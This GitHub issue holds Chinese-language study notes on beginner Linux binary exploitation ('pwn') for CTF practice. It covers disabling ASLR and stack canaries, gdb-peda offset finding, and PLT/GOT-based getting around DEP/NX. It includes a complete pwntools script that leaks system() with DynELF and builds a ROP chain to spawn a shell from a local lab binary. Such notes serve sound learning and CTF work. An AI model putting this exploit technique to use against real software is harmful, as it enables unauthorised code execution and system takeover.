Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

PWN 初探 #17

Open
xinali opened this issue Feb 27, 2018 · 0 comments
Open

PWN 初探 #17

xinali opened this issue Feb 27, 2018 · 0 comments
Labels

Comments

@xinali
Copy link
Owner

xinali commented Feb 27, 2018

关掉整个系统的ALSR
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -z execstack -o level1 level1.c
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector

开启core dump功能
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

pwn 从入门到放弃:https://www.n0tr00t.com/2017/12/15/Linux-Pwn-Rumen~Fangqi.html

调试无符号elf文件:

  1. http://blog.csdn.net/netsniffer/article/details/32163569
  2. 通过radare调试

radare2 案例:
https://jinyu00.github.io/2017/11/01/step_by_step_pwn_router_part8.html
cheatsheet:https://github.com/radare/radare2/blob/master/doc/intro.md

打印函数地址:
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>

查找字符串
gdb-peda$ find CTF
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
smashes : 0x600d21 ("CTF{Here's the flag on server}")

ELF的重映射:当可执行文件足够小的时候,他的不同区段可能会被多次映射。

smashes: 产生溢出异常,让溢出函数打印出flag,将flag地址铺满stack

vmmap 查看映射表

在调试的过程中,gdb中的vulfunction的地址并不一定是其真实运行的地址,需要将出错位置dump下来,之后查看shellcode地址

偏移位置:
pattern create 200
run
paste
pattern search 0xxxxxxx
esp => 偏移量

返回地址:
./level <= input_data
gdb level /tmp/core.xxx
x/10s $esp => esp 地址

各种保护机制绕过原理:

  1. DEP/NX绕过
    数据执行保护,栈上的代码标记为数据,使其不可执行,此时从lib.so中找到system_add和/bin/sh的地址。这里无论是gdb还是真实运行,lib.so的加载地址应该是一样的。在pwn过程中,难点就是有没有提供libc.so。
    这里有一个规则需要记住:
    第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got

还可以这么理解:
write_addr - system_addr == write_addr_libc - system_addr_libc

a. 有libc.so的情况
b. 没有libc.so的情况 这里还需要分出64位程序的情况,寻找ropgadget
编写地址leak函数 => leak出system地址 => 找到.bss块地址/找到rop gadget地址 => send(‘/bin/sh\0’)
大概的流程是这样的
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474

def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()

  1. ALSR 绕过
  2. CANNARY(栈保护)
    防止返回地址被覆盖

再看一遍 rop:https://segmentfault.com/a/1190000007406442
关键在于其原理

常见保护机制:https://introspelliam.github.io/2017/09/30/linux%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%B8%B8%E7%94%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/

$1 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
libc : 0x7ffff7995d17 --> 0x68732f6e69622f ('/bin/sh')

@xinali xinali added the pwn label Feb 27, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant